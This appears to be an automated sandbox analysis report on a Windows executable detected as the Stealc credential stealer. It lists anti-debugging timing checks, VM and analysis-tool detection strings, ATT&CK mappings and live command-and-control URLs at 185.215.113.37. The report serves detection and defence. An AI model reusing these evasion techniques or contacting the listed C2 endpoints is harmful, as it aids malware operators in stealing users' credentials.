Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A70B second address: B1A715 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF30D0E2FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A715 second address: B1A721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007FDF30F40A56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E572 second address: B1E59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30D0E303h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FDF30D0E2FBh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21A43 second address: B21A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDF30F40A56h 0x0000000a jmp 00007FDF30F40A65h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B215FE second address: B2160F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30D0E2FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2160F second address: B2161F instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF30F40A56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2161F second address: B21623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21623 second address: B21632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21632 second address: B21638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E7B3 second address: B2E7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2E4D8 second address: B2E4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDF30D0E2F6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FDF30D0E300h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D63 second address: B33D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF30F40A66h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D87 second address: B33D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D8D second address: B33D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D92 second address: B33D97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4689F second address: B468A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B468A5 second address: B468AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B468AB second address: B468B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46F41 second address: B46F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF30D0E305h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDF30D0E2FEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FDF30D0E2F6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46F74 second address: B46F78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B496E6 second address: B496EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B496EC second address: B496F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B496F0 second address: B49700 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDF30D0E2FEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C7E3 second address: B5C7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C7E9 second address: B5C806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E305h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68F91 second address: B68FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A68h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68C45 second address: B68C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68C49 second address: B68C6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FDF30F40A67h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68C6E second address: B68C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68C74 second address: B68C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B68C78 second address: B68C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B789F9 second address: B789FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B789FF second address: B78A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78CE4 second address: B78CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78CEC second address: B78CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7925E second address: B79262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79262 second address: B79266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B796A4 second address: B796B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A5Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B796B5 second address: B796C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FDF30D0E2F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B188 second address: B7B197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDF30F40A56h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B197 second address: B7B19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B19D second address: B7B1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B1A1 second address: B7B1B5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF30D0E2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FDF30D0E2F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7DDF9 second address: B7DDFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F420 second address: B7F437 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF30D0E2F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDF30D0E2FBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80D98 second address: B80D9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0283 second address: 51E0287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0287 second address: 51E028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E028D second address: 51E0293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0293 second address: 51E02B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FDF30F40A60h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02B4 second address: 51E02B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02B8 second address: 51E02BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E02EC second address: 51E0331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF30D0E2FEh 0x0000000f push eax 0x00000010 jmp 00007FDF30D0E2FBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDF30D0E300h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0331 second address: 51E0337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0337 second address: 51E0366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30D0E2FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx eax, di 0x0000000f mov dh, 4Eh 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF30D0E301h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0366 second address: 51E036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E036C second address: 51E0370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0370 second address: 51E0374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: AA83D2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006A38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006A4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0069DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0069E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006A4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0069ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0069BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0069DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006A3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0069F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069F68A FindFirstFileA,	0_2_0069F68A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00691160 GetSystemInfo,ExitProcess,

0_2_00691160

Source: file.exe, file.exe, 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2117942451.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2117942451.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,U&i
Source: file.exe, 00000000.00000002.2117942451.0000000001292000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0{,
Source: file.exe, 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13589
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13586
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13609
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13601
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13641

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006945C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006945C0

Source: C:\Users\user\Desktop\file.exe

0_2_006A9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A9750 mov eax, dword ptr fs:[00000030h]

0_2_006A9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006A7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6984, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006A9600

Source: file.exe, file.exe, 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ]Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_006A7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_006A6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_006A7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_006A7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075603665.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2075603665.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37I	file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
